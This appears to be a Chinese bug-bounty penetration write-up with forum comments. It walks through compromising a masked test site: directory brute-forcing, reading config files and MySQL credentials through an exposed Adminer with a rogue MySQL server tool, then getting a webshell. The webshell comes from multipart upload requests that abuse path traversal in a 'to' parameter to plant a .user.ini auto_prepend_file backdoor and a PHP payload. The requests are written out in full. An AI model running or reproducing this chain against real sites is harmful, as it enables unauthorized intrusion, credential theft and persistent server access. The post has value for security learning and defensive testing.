像往常一样闲来无事挖src,打开http://t.xxx.com.cn
开局就是一个登陆页面在登陆页面测试无果,随手输入http://t.test.xxx.com.cn
发现是403页面。
想起http://t.xxx.com.cn 是一个php的网站
遂尝试对http://t.test.xxx.com.cn 进行目录爆破,扫到如下php文件(其他目录没扫到什么文件就不列了)
http://t.test.xxx.com.cn/m.php
http://t.test.xxx.com.cn/ua.php
https://t.test.xxx.com.cn/receiver.php
https://t.test.xxx.com.cn/abc/config.php
https://t.test.xxx.com.cn/abc/index.php
发现m.php是一个adminer如下
看到这个页面尝试弱口令登陆无果,想起了前段时间做的MySQL服务端读取客户端的漏洞
poc: https://github.com/allyshka/Rogue-MySql-Server
在服务端监听后,使用adminer连接服务端
起初读/etc/passwd ,报错显示为opendir的关系,于是读取web文件,
于是读取 /data01/htdocs/m.php文件成功读取
由于已经发现有config.php,于是读取config.php 发现mysql配置文件,得到mysql账号名和密码
define('DB_USRE', 'abc');
define('DB_PWD', 'xxxxxxxxxxxxx'); 总之很长一串
登录后发现,就一个test表,权限非常低。遂放弃通过mysql获取webshell转而去分析其他文件。
分析到receiver.php的时候发现为一个文件上传的接口文件,代码如下:
经过分析代码后发现上传文件存在黑名单过滤,服务器为nginx服务器
存在file、token、to参数
如果to和token都存在的话 会上传文件到/oss/public/目录下
但是可以通过拼接to参数形式把路径重定向到web目录下
构造如下表单
------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"
/../../data01/htdocs/1.shtml
-----------------------------57052814523281
Content-Disposition: form-data; name="token"
oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
123
-----------------------------57052814523281--
------------
成功上传html,但是又陷入了困境。
由于php被过滤,尝试php3 php5都不解析,猜测nginx只解析php文件,尝试nginx解析漏洞也无果。
这时想到p牛曾经提到的.user.ini后门,利用.user.ini造成文件包含的效果最近ctf也有出现。
https://xz.aliyun.com/t/6091
于是构造
------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"
/../../data01/htdocs/abc/.user.ini
-----------------------------57052814523281
Content-Disposition: form-data; name="token"
oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
auto_prepend_file=1.jpg
-----------------------------57052814523281--
------------
再上传jpg文件
------------
-----------------------------57052814523281
Content-Disposition: form-data; name="to"
/../../data01/htdocs/abc/1.jpg
-----------------------------57052814523281
Content-Disposition: form-data; name="token"
oYc8Xe1HsViIfAcF
-----------------------------57052814523281
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php
xxxxx
?>
-----------------------------57052814523281--
------------
然后访问https://t.test.xxx.com.cn/abc/config.php
成功获取webshell
由于是src,没有进行进一步的提权及内网渗透。
同
知识点get,带哥
师傅TQL
error: uncaptured python exception, closing channel <main.http_request_handler connected 192.81.208.124:50930 at 0x7f57405b2f80> (<type 'exceptions.ValueError'>: [/usr/lib/python2.7/asyncore.py|read|83] [/usr/lib/python2.7/asyncore.py|handle_read_event|449] [/usr/lib/python2.7/asynchat.py|handle_read|147] [fakeMysql.py|found_terminator|185])
打了几个Adminer脚本都是报这个错误,本地测还好,有老哥讲讲是啥原因吗
tql师傅,学习了
学习了
cool 一下get到两个知识点
太强力了,大神,逆向思维
记得在哪里看了phpmyadmin 这么用的 ,但是phpmyadmin修复了这个
教科书一般的操作,tql
@21056****@qq.com 是的 ,你具体看一下那个漏洞的原理就明白了。
@猫来了 在服务上监听以后 网页上连接的ip填写服务器的ip嘛
@21056****@qq.com 没明白你说的,你没在服务器上监听吗。?
本地监听后,在你扫描到得那个网页上直接连接就可以读取到目标上的文件内容了?
@猫来了 本地测了一下可以读到文件,文章中怎么读取目标里得文件呢? 代理在什么上